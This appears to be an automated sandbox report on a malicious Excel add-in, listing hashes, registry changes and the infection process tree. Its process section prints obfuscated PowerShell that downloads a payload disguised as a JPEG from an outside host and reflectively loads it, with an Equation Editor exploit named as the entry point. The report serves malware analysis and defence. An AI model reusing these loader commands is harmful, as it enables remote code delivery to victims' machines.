Analysis
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max time kernel
122s -
max time network
126s -
platform
windows7_x64 -
resource
win7-20230831-en -
resource tags
arch:x64arch:x86image:win7-20230831-enlocale:en-usos:windows7-x64system -
submitted
20/09/2023, 17:00
Static task
static1
Behavioral task
behavioral1
Sample
omo.xlam
Resource
win7-20230831-en
Behavioral task
behavioral2
Sample
omo.xlam
Resource
win10v2004-20230915-en
General
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Target
omo.xlam
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Size
740KB
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MD5
ff4afba38fca387b209a6058da8583ec
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SHA1
75118d306f18f4574018ad5d24e725ff3bee49b2
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SHA256
3cb021f727c306bcc8a733554521981f4bfd5e9b3e39d733d601e7a69291d602
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SHA512
818adfd4fc17259de3c4231dca281e0631952eaa0db23be7335f13617bc32d40e6eecd32e14b7e7980495211d51afa52f044746f4e687c47d366eca64e7ff9e5
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SSDEEP
12288:5XSSaqxNzx5n7SpfzpUdyD9jLRa94nhI540WkaMzJO7njWCDeGT9zQPTL7B:baQNbSqi96eh0Wkb47jWCSY9zQbnB
Malware Config
Extracted
https://uploaddeimagens.com.br/images/004/563/621/original/universo_vbs.jpeg?1690931855
https://uploaddeimagens.com.br/images/004/563/621/original/universo_vbs.jpeg?1690931855
Signatures
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Blocklisted process makes network request 4 IoCs
flow pid Process 3 2708 EQNEDT32.EXE 6 3000 powershell.exe 8 3000 powershell.exe 10 3000 powershell.exe -
Drops file in System32 directory 2 IoCs
description ioc Process File opened for modification C:\Windows\SysWOW64\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk powershell.exe File opened for modification C:\Windows\SysWOW64\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk powershell.exe -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
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Enumerates system info in registry 2 TTPs 1 IoCs
description ioc Process Key opened \REGISTRY\MACHINE\Hardware\Description\System\FloatingPointProcessor EXCEL.EXE -
Launches Equation Editor 1 TTPs 1 IoCs
Equation Editor is an old Office component often targeted by exploits such as CVE-2017-11882.
pid Process 2708 EQNEDT32.EXE -
description ioc Process Key created \REGISTRY\USER\S-1-5-21-607259312-1573743425-2763420908-1000\Software\Microsoft\Internet Explorer\MenuExt EXCEL.EXE Set value (int) \REGISTRY\USER\S-1-5-21-607259312-1573743425-2763420908-1000\Software\Microsoft\Internet Explorer\MenuExt\Se&nd to OneNote\Contexts = "55" EXCEL.EXE Key deleted \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default HTML Editor\shell\edit\COMMAND EXCEL.EXE Key deleted \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default MHTML Editor\shell EXCEL.EXE Key created \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default MHTML Editor EXCEL.EXE Key created \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default MHTML Editor\shell EXCEL.EXE Set value (data) \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default MHTML Editor\shell\edit\command\command = 7800620027004200560035002100210021002100210021002100210021004d004b004b0053006b0057004f0052004400460069006c00650073003e00620069002400540021005600210030005a003d007b0050006b00300076006d007e0041005a00750020002f006e002000220025003100220000000000 EXCEL.EXE Set value (str) \REGISTRY\USER\S-1-5-21-607259312-1573743425-2763420908-1000\Software\Microsoft\Internet Explorer\Toolbar\ShowDiscussionButton = "Yes" EXCEL.EXE Key deleted \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default HTML Editor EXCEL.EXE Set value (str) \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default HTML Editor\shell\edit\command\ = "\"C:\\Program Files (x86)\\Microsoft Office\\Office14\\WINWORD.EXE\" /n \"%1\"" EXCEL.EXE Key created \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default MHTML Editor\shell\edit\command EXCEL.EXE Key deleted \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default HTML Editor\shell\edit EXCEL.EXE Key created \REGISTRY\USER\S-1-5-21-607259312-1573743425-2763420908-1000\Software\Microsoft\Internet Explorer\MenuExt\E&xport to Microsoft Excel EXCEL.EXE Set value (str) \REGISTRY\USER\S-1-5-21-607259312-1573743425-2763420908-1000\Software\Microsoft\Internet Explorer\MenuExt\E&xport to Microsoft Excel\ = "res://C:\\PROGRA~2\\MICROS~1\\Office14\\EXCEL.EXE/3000" EXCEL.EXE Set value (str) \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default MHTML Editor\shell\edit\ = "&Edit" EXCEL.EXE Set value (str) \REGISTRY\USER\S-1-5-21-607259312-1573743425-2763420908-1000\Software\Microsoft\Internet Explorer\MenuExt\Se&nd to OneNote\ = "res://C:\\PROGRA~2\\MICROS~1\\Office14\\ONBttnIE.dll/105" EXCEL.EXE Key created \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default HTML Editor\shell\edit\command EXCEL.EXE Set value (data) \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default HTML Editor\shell\edit\command\command = 7800620027004200560035002100210021002100210021002100210021004d004b004b0053006b0057004f0052004400460069006c00650073003e00620069002400540021005600210030005a003d007b0050006b00300076006d007e0041005a00750020002f006e002000220025003100220000000000 EXCEL.EXE Key deleted \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default MHTML Editor\shell\edit\COMMAND EXCEL.EXE Key deleted \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default HTML Editor\shell EXCEL.EXE Key created \REGISTRY\USER\S-1-5-21-607259312-1573743425-2763420908-1000\Software\Microsoft\Internet Explorer\MenuExt\Se&nd to OneNote EXCEL.EXE Set value (int) \REGISTRY\USER\S-1-5-21-607259312-1573743425-2763420908-1000\Software\Microsoft\Internet Explorer\MenuExt\E&xport to Microsoft Excel\Contexts = "1" EXCEL.EXE Key created \REGISTRY\USER\S-1-5-21-607259312-1573743425-2763420908-1000\Software\Microsoft\Internet Explorer\Toolbar EXCEL.EXE Key deleted \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default MHTML Editor\shell\edit EXCEL.EXE Key created \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default MHTML Editor\shell\edit EXCEL.EXE Set value (str) \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default MHTML Editor\shell\edit\command\ = "\"C:\\Program Files (x86)\\Microsoft Office\\Office14\\WINWORD.EXE\" /n \"%1\"" EXCEL.EXE Key created \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default HTML Editor\shell\edit EXCEL.EXE Key created \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default HTML Editor\shell EXCEL.EXE Set value (str) \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default HTML Editor\shell\edit\ = "&Edit" EXCEL.EXE Key deleted \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default MHTML Editor EXCEL.EXE Key created \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default HTML Editor EXCEL.EXE -
Modifies registry class 64 IoCs
description ioc Process Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\htmlfile\DefaultIcon\ = "\"%1\"" EXCEL.EXE Key created \REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Microsoft Word\shell\edit EXCEL.EXE Key created \REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Microsoft Excel\shell\edit\ddeexec\application EXCEL.EXE Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Wow6432Node\CLSID\{42042206-2D85-11D3-8CFF-005004838597}\Version\14 EXCEL.EXE Key created \REGISTRY\MACHINE\SOFTWARE\Classes\htmlfile\ShellEx EXCEL.EXE Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Wow6432Node\CLSID\{42042206-2D85-11D3-8CFF-005004838597}\Old Icon\htmlfile EXCEL.EXE Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Microsoft Excel\shell\edit\ = "&Open" EXCEL.EXE Key created \REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Microsoft Excel\shell\edit\command EXCEL.EXE Key created \REGISTRY\MACHINE\SOFTWARE\Classes\.mht EXCEL.EXE Key created \REGISTRY\MACHINE\SOFTWARE\Classes\htmlfile\shell\Edit EXCEL.EXE Key created \REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\WinWord.exe EXCEL.EXE Key created \REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Microsoft Publisher\shell\edit\command EXCEL.EXE Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\mhtmlfile\shellex\IconHandler\ = "{42042206-2D85-11D3-8CFF-005004838597}" EXCEL.EXE Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Wow6432Node\CLSID\{42042206-2D85-11D3-8CFF-005004838597}\InprocServer32\ = "C:\\Program Files (x86)\\Microsoft Office\\Office14\\msohevi.dll" EXCEL.EXE Set value (data) \REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\WinWord.exe\shell\edit\command\command = 7800620027004200560035002100210021002100210021002100210021004d004b004b0053006b0057004f0052004400460069006c00650073003e00620069002400540021005600210030005a003d007b0050006b00300076006d007e0041005a00750020002f006e002000220025003100220000000000 EXCEL.EXE Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\mhtmlfile\shell\Print\ = "&Print" EXCEL.EXE Key created \REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Microsoft Word\shell\edit\command EXCEL.EXE Key created \REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Excel.exe\shell\edit EXCEL.EXE Key created \REGISTRY\MACHINE\SOFTWARE\Classes\htmlfile EXCEL.EXE Key created \REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\WinWord.exe\shell\edit\command EXCEL.EXE Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Excel.exe\shell\edit\ = "&Open" EXCEL.EXE Key created \REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Excel.exe\shell\edit\ddeexec\application EXCEL.EXE Key created \REGISTRY\MACHINE\SOFTWARE\Classes\mhtmlfile\shell\Print EXCEL.EXE Key created \REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Microsoft Excel EXCEL.EXE Key created \REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\MSPub.exe EXCEL.EXE Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\MSPub.exe\shell\edit\ = "&Open" EXCEL.EXE Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\htmlfile\shell\Print\command\ = "\"C:\\Program Files (x86)\\Microsoft Office\\Office14\\msohtmed.exe\" /p %1" EXCEL.EXE Key created \REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\MSPub.exe EXCEL.EXE Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Microsoft Word\shell\edit\command\ = "\"C:\\Program Files (x86)\\Microsoft Office\\Office14\\WINWORD.EXE\" /n \"%1\"" EXCEL.EXE Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Excel.exe\shell\edit\ = "&Open" EXCEL.EXE Key created \REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Microsoft Excel\shell\edit\ddeexec EXCEL.EXE Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\htmlfile\shell\Print\ = "&Print" EXCEL.EXE Key created \REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Excel.exe\shell\edit\ddeexec\topic EXCEL.EXE Key created \REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Microsoft Publisher EXCEL.EXE Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Microsoft Publisher\shell\edit\command\ = "\"C:\\Program Files (x86)\\Microsoft Office\\Office14\\MSPUB.EXE\" %1" EXCEL.EXE Key created \REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Microsoft Excel\shell\edit EXCEL.EXE Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Microsoft Excel\shell\edit\ddeexec\application\ = "Excel" EXCEL.EXE Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Wow6432Node\CLSID\{42042206-2D85-11D3-8CFF-005004838597} EXCEL.EXE Key deleted \REGISTRY\MACHINE\SOFTWARE\Classes\mhtmlfile\shell\Edit\command EXCEL.EXE Key created \REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\WinWord.exe EXCEL.EXE Set value (data) \REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Microsoft Excel\shell\edit\command\command = 7800620027004200560035002100210021002100210021002100210021004d004b004b0053006b0045005800430045004c00460069006c00650073003e00560069006a00710042006f006600280059003800270077002100460049006400310067004c00510020002f0064006400650000000000 EXCEL.EXE Key created \REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Excel.exe\shell\edit\ddeexec EXCEL.EXE Key created \REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\MSPub.exe\shell\edit EXCEL.EXE Key created \REGISTRY\MACHINE\SOFTWARE\Classes\mhtmlfile\shell\Print\command EXCEL.EXE Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Wow6432Node\CLSID\{42042206-2D85-11D3-8CFF-005004838597}\Old Icon\mhtmlfile EXCEL.EXE Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Wow6432Node\CLSID\{42042206-2D85-11D3-8CFF-005004838597}\InprocServer32\ThreadingModel = "Apartment" EXCEL.EXE Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\mhtmlfile\shell\Edit\ = "&Edit" EXCEL.EXE Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Excel.exe\shell\edit\command\ = "\"C:\\Program Files (x86)\\Microsoft Office\\Office14\\EXCEL.EXE\" /dde" EXCEL.EXE Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Excel.exe\shell\edit\ddeexec\topic\ = "system" EXCEL.EXE Key created \REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Microsoft Publisher\shell\edit\command EXCEL.EXE Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\mhtmlfile\shell\Edit\command\ = "\"C:\\Program Files (x86)\\Microsoft Office\\Office14\\msohtmed.exe\" %1" EXCEL.EXE Key created \REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Microsoft Excel\shell\edit\ddeexec\topic EXCEL.EXE Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Microsoft Excel\shell\edit\ddeexec\topic\ = "system" EXCEL.EXE Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Excel.exe\shell\edit\ddeexec\ = "[open(\"%1\")]" EXCEL.EXE Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Excel.exe\shell\edit\ddeexec\topic\ = "system" EXCEL.EXE Key created \REGISTRY\MACHINE\SOFTWARE\Classes\mhtmlfile\shellex\IconHandler EXCEL.EXE Key created \REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Excel.exe\shell\edit\ddeexec\application EXCEL.EXE Key created \REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Excel.exe\shell\edit EXCEL.EXE Key created \REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Microsoft Word EXCEL.EXE Key created \REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Microsoft Excel\shell\edit EXCEL.EXE Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Excel.exe\shell\edit\command\ = "\"C:\\Program Files (x86)\\Microsoft Office\\Office14\\EXCEL.EXE\" /dde" EXCEL.EXE Key created \REGISTRY\MACHINE\SOFTWARE\Classes\htmlfile\shell EXCEL.EXE Key deleted \REGISTRY\MACHINE\SOFTWARE\Classes\htmlfile\shell\Print\command EXCEL.EXE Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Microsoft Word\shell\edit\ = "&Open" EXCEL.EXE -
Suspicious behavior: AddClipboardFormatListener 1 IoCs
pid Process 2012 EXCEL.EXE -
Suspicious behavior: EnumeratesProcesses 2 IoCs
pid Process 2644 powershell.exe 3000 powershell.exe -
Suspicious use of AdjustPrivilegeToken 2 IoCs
description pid Process Token: SeDebugPrivilege 2644 powershell.exe Token: SeDebugPrivilege 3000 powershell.exe -
Suspicious use of SetWindowsHookEx 3 IoCs
pid Process 2012 EXCEL.EXE 2012 EXCEL.EXE 2012 EXCEL.EXE -
Suspicious use of WriteProcessMemory 12 IoCs
description pid Process procid_target PID 2708 wrote to memory of 2744 2708 EQNEDT32.EXE 29 PID 2708 wrote to memory of 2744 2708 EQNEDT32.EXE 29 PID 2708 wrote to memory of 2744 2708 EQNEDT32.EXE 29 PID 2708 wrote to memory of 2744 2708 EQNEDT32.EXE 29 PID 2744 wrote to memory of 2644 2744 WScript.exe 30 PID 2744 wrote to memory of 2644 2744 WScript.exe 30 PID 2744 wrote to memory of 2644 2744 WScript.exe 30 PID 2744 wrote to memory of 2644 2744 WScript.exe 30 PID 2644 wrote to memory of 3000 2644 powershell.exe 33 PID 2644 wrote to memory of 3000 2644 powershell.exe 33 PID 2644 wrote to memory of 3000 2644 powershell.exe 33 PID 2644 wrote to memory of 3000 2644 powershell.exe 33
Processes
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C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE"C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE" /dde C:\Users\Admin\AppData\Local\Temp\omo.xlam1⤵
- Enumerates system info in registry
- Modifies Internet Explorer settings
- Modifies registry class
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
PID:2012
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C:\Program Files (x86)\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE"C:\Program Files (x86)\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE" -Embedding1⤵
- Blocklisted process makes network request
- Launches Equation Editor
- Suspicious use of WriteProcessMemory
PID:2708 -
C:\Windows\SysWOW64\WScript.exe"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Roaming\ybdtyupl.vbs"2⤵
- Suspicious use of WriteProcessMemory
PID:2744 -
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command "$Codigo = 'J░░░Bp░░░G0░░░YQBn░░░GU░░░VQBy░░░Gw░░░I░░░░░░9░░░C░░░░░░JwBo░░░HQ░░░d░░░Bw░░░HM░░░Og░░░v░░░C8░░░dQBw░░░Gw░░░bwBh░░░GQ░░░Z░░░Bl░░░Gk░░░bQBh░░░Gc░░░ZQBu░░░HM░░░LgBj░░░G8░░░bQ░░░u░░░GI░░░cg░░░v░░░Gk░░░bQBh░░░Gc░░░ZQBz░░░C8░░░M░░░░░░w░░░DQ░░░Lw░░░1░░░DY░░░Mw░░░v░░░DY░░░Mg░░░x░░░C8░░░bwBy░░░Gk░░░ZwBp░░░G4░░░YQBs░░░C8░░░dQBu░░░Gk░░░dgBl░░░HI░░░cwBv░░░F8░░░dgBi░░░HM░░░LgBq░░░H░░░░░░ZQBn░░░D8░░░MQ░░░2░░░Dk░░░M░░░░░░5░░░DM░░░MQ░░░4░░░DU░░░NQ░░░n░░░Ds░░░J░░░B3░░░GU░░░YgBD░░░Gw░░░aQBl░░░G4░░░d░░░░░░g░░░D0░░░I░░░BO░░░GU░░░dw░░░t░░░E8░░░YgBq░░░GU░░░YwB0░░░C░░░░░░UwB5░░░HM░░░d░░░Bl░░░G0░░░LgBO░░░GU░░░d░░░░░░u░░░Fc░░░ZQBi░░░EM░░░b░░░Bp░░░GU░░░bgB0░░░Ds░░░J░░░Bp░░░G0░░░YQBn░░░GU░░░QgB5░░░HQ░░░ZQBz░░░C░░░░░░PQ░░░g░░░CQ░░░dwBl░░░GI░░░QwBs░░░Gk░░░ZQBu░░░HQ░░░LgBE░░░G8░░░dwBu░░░Gw░░░bwBh░░░GQ░░░R░░░Bh░░░HQ░░░YQ░░░o░░░CQ░░░aQBt░░░GE░░░ZwBl░░░FU░░░cgBs░░░Ck░░░Ow░░░k░░░Gk░░░bQBh░░░Gc░░░ZQBU░░░GU░░░e░░░B0░░░C░░░░░░PQ░░░g░░░Fs░░░UwB5░░░HM░░░d░░░Bl░░░G0░░░LgBU░░░GU░░░e░░░B0░░░C4░░░RQBu░░░GM░░░bwBk░░░Gk░░░bgBn░░░F0░░░Og░░░6░░░FU░░░V░░░BG░░░Dg░░░LgBH░░░GU░░░d░░░BT░░░HQ░░░cgBp░░░G4░░░Zw░░░o░░░CQ░░░aQBt░░░GE░░░ZwBl░░░EI░░░eQB0░░░GU░░░cw░░░p░░░Ds░░░J░░░Bz░░░HQ░░░YQBy░░░HQ░░░RgBs░░░GE░░░Zw░░░g░░░D0░░░I░░░░░░n░░░Dw░░░P░░░BC░░░EE░░░UwBF░░░DY░░░N░░░Bf░░░FM░░░V░░░BB░░░FI░░░V░░░░░░+░░░D4░░░Jw░░░7░░░CQ░░░ZQBu░░░GQ░░░RgBs░░░GE░░░Zw░░░g░░░D0░░░I░░░░░░n░░░Dw░░░P░░░BC░░░EE░░░UwBF░░░DY░░░N░░░Bf░░░EU░░░TgBE░░░D4░░░Pg░░░n░░░Ds░░░J░░░Bz░░░HQ░░░YQBy░░░HQ░░░SQBu░░░GQ░░░ZQB4░░░C░░░░░░PQ░░░g░░░CQ░░░aQBt░░░GE░░░ZwBl░░░FQ░░░ZQB4░░░HQ░░░LgBJ░░░G4░░░Z░░░Bl░░░Hg░░░TwBm░░░Cg░░░J░░░Bz░░░HQ░░░YQBy░░░HQ░░░RgBs░░░GE░░░Zw░░░p░░░Ds░░░J░░░Bl░░░G4░░░Z░░░BJ░░░G4░░░Z░░░Bl░░░Hg░░░I░░░░░░9░░░C░░░░░░J░░░Bp░░░G0░░░YQBn░░░GU░░░V░░░Bl░░░Hg░░░d░░░░░░u░░░Ek░░░bgBk░░░GU░░░e░░░BP░░░GY░░░K░░░░░░k░░░GU░░░bgBk░░░EY░░░b░░░Bh░░░Gc░░░KQ░░░7░░░CQ░░░cwB0░░░GE░░░cgB0░░░Ek░░░bgBk░░░GU░░░e░░░░░░g░░░C0░░░ZwBl░░░C░░░░░░M░░░░░░g░░░C0░░░YQBu░░░GQ░░░I░░░░░░k░░░GU░░░bgBk░░░Ek░░░bgBk░░░GU░░░e░░░░░░g░░░C0░░░ZwB0░░░C░░░░░░J░░░Bz░░░HQ░░░YQBy░░░HQ░░░SQBu░░░GQ░░░ZQB4░░░Ds░░░J░░░Bz░░░HQ░░░YQBy░░░HQ░░░SQBu░░░GQ░░░ZQB4░░░C░░░░░░Kw░░░9░░░C░░░░░░J░░░Bz░░░HQ░░░YQBy░░░HQ░░░RgBs░░░GE░░░Zw░░░u░░░Ew░░░ZQBu░░░Gc░░░d░░░Bo░░░Ds░░░J░░░Bi░░░GE░░░cwBl░░░DY░░░N░░░BM░░░GU░░░bgBn░░░HQ░░░a░░░░░░g░░░D0░░░I░░░░░░k░░░GU░░░bgBk░░░Ek░░░bgBk░░░GU░░░e░░░░░░g░░░C0░░░I░░░░░░k░░░HM░░░d░░░Bh░░░HI░░░d░░░BJ░░░G4░░░Z░░░Bl░░░Hg░░░Ow░░░k░░░GI░░░YQBz░░░GU░░░Ng░░░0░░░EM░░░bwBt░░░G0░░░YQBu░░░GQ░░░I░░░░░░9░░░C░░░░░░J░░░Bp░░░G0░░░YQBn░░░GU░░░V░░░Bl░░░Hg░░░d░░░░░░u░░░FM░░░dQBi░░░HM░░░d░░░By░░░Gk░░░bgBn░░░Cg░░░J░░░Bz░░░HQ░░░YQBy░░░HQ░░░SQBu░░░GQ░░░ZQB4░░░Cw░░░I░░░░░░k░░░GI░░░YQBz░░░GU░░░Ng░░░0░░░Ew░░░ZQBu░░░Gc░░░d░░░Bo░░░Ck░░░Ow░░░k░░░GM░░░bwBt░░░G0░░░YQBu░░░GQ░░░QgB5░░░HQ░░░ZQBz░░░C░░░░░░PQ░░░g░░░Fs░░░UwB5░░░HM░░░d░░░Bl░░░G0░░░LgBD░░░G8░░░bgB2░░░GU░░░cgB0░░░F0░░░Og░░░6░░░EY░░░cgBv░░░G0░░░QgBh░░░HM░░░ZQ░░░2░░░DQ░░░UwB0░░░HI░░░aQBu░░░Gc░░░K░░░░░░k░░░GI░░░YQBz░░░GU░░░Ng░░░0░░░EM░░░bwBt░░░G0░░░YQBu░░░GQ░░░KQ░░░7░░░CQ░░░b░░░Bv░░░GE░░░Z░░░Bl░░░GQ░░░QQBz░░░HM░░░ZQBt░░░GI░░░b░░░B5░░░C░░░░░░PQ░░░g░░░Fs░░░UwB5░░░HM░░░d░░░Bl░░░G0░░░LgBS░░░GU░░░ZgBs░░░GU░░░YwB0░░░Gk░░░bwBu░░░C4░░░QQBz░░░HM░░░ZQBt░░░GI░░░b░░░B5░░░F0░░░Og░░░6░░░Ew░░░bwBh░░░GQ░░░K░░░░░░k░░░GM░░░bwBt░░░G0░░░YQBu░░░GQ░░░QgB5░░░HQ░░░ZQBz░░░Ck░░░Ow░░░k░░░HQ░░░eQBw░░░GU░░░I░░░░░░9░░░C░░░░░░J░░░Bs░░░G8░░░YQBk░░░GU░░░Z░░░BB░░░HM░░░cwBl░░░G0░░░YgBs░░░Hk░░░LgBH░░░GU░░░d░░░BU░░░Hk░░░c░░░Bl░░░Cg░░░JwBG░░░Gk░░░YgBl░░░HI░░░LgBI░░░G8░░░bQBl░░░Cc░░░KQ░░░7░░░CQ░░░bQBl░░░HQ░░░a░░░Bv░░░GQ░░░I░░░░░░9░░░C░░░░░░J░░░B0░░░Hk░░░c░░░Bl░░░C4░░░RwBl░░░HQ░░░TQBl░░░HQ░░░a░░░Bv░░░GQ░░░K░░░░░░n░░░FY░░░QQBJ░░░Cc░░░KQ░░░7░░░CQ░░░YQBy░░░Gc░░░dQBt░░░GU░░░bgB0░░░HM░░░I░░░░░░9░░░C░░░░░░L░░░░░░o░░░Cc░░░d░░░B4░░░HQ░░░LgB4░░░G8░░░bQBv░░░C8░░░Mg░░░1░░░C4░░░O░░░░░░0░░░C4░░░M░░░░░░x░░░DE░░░Lg░░░5░░░Dc░░░Lw░░░v░░░Do░░░c░░░B0░░░HQ░░░a░░░░░░n░░░Ck░░░Ow░░░k░░░G0░░░ZQB0░░░Gg░░░bwBk░░░C4░░░SQBu░░░HY░░░bwBr░░░GU░░░K░░░░░░k░░░G4░░░dQBs░░░Gw░░░L░░░░░░g░░░CQ░░░YQBy░░░Gc░░░dQBt░░░GU░░░bgB0░░░HM░░░KQ░░░='";$OWjuxd = [system.Text.encoding]::Unicode.GetString("[system.Convert]::Frombase64string( $codigo.replace('░░░','A') ))";powershell.exe -windowstyle hidden -executionpolicy bypass -NoProfile -command $OWjuxD""3⤵
- Drops file in System32 directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2644 -
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -NoProfile -command "$imageUrl = 'https://uploaddeimagens.com.br/images/004/563/621/original/universo_vbs.jpeg?1690931855';$webClient = New-Object System.Net.WebClient;$imageBytes = $webClient.DownloadData($imageUrl);$imageText = [System.Text.Encoding]::UTF8.GetString($imageBytes);$startFlag = '<<BASE64_START>>';$endFlag = '<<BASE64_END>>';$startIndex = $imageText.IndexOf($startFlag);$endIndex = $imageText.IndexOf($endFlag);$startIndex -ge 0 -and $endIndex -gt $startIndex;$startIndex += $startFlag.Length;$base64Length = $endIndex - $startIndex;$base64Command = $imageText.Substring($startIndex, $base64Length);$commandBytes = [System.Convert]::FromBase64String($base64Command);$loadedAssembly = [System.Reflection.Assembly]::Load($commandBytes);$type = $loadedAssembly.GetType('Fiber.Home');$method = $type.GetMethod('VAI');$arguments = ,('txt.xomo/25.84.011.97//:ptth');$method.Invoke($null, $arguments)"4⤵
- Blocklisted process makes network request
- Drops file in System32 directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:3000
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Network
MITRE ATT&CK Enterprise v15
Replay Monitor
Loading Replay Monitor...
Downloads
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Filesize
61KB
MD5f3441b8572aae8801c04f3060b550443
SHA14ef0a35436125d6821831ef36c28ffaf196cda15
SHA2566720349e7d82ee0a8e73920d3c2b7cb2912d9fcf2edb6fd98f2f12820158b0bf
SHA5125ba01ba421b50030e380ae6bbcd2f681f2a91947fe7fedb3c8e6b5f24dce9517abf57b1cf26cc6078d4bb53bde6fcfb2561591337c841f8f2cb121a3d71661b9
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Filesize
163KB
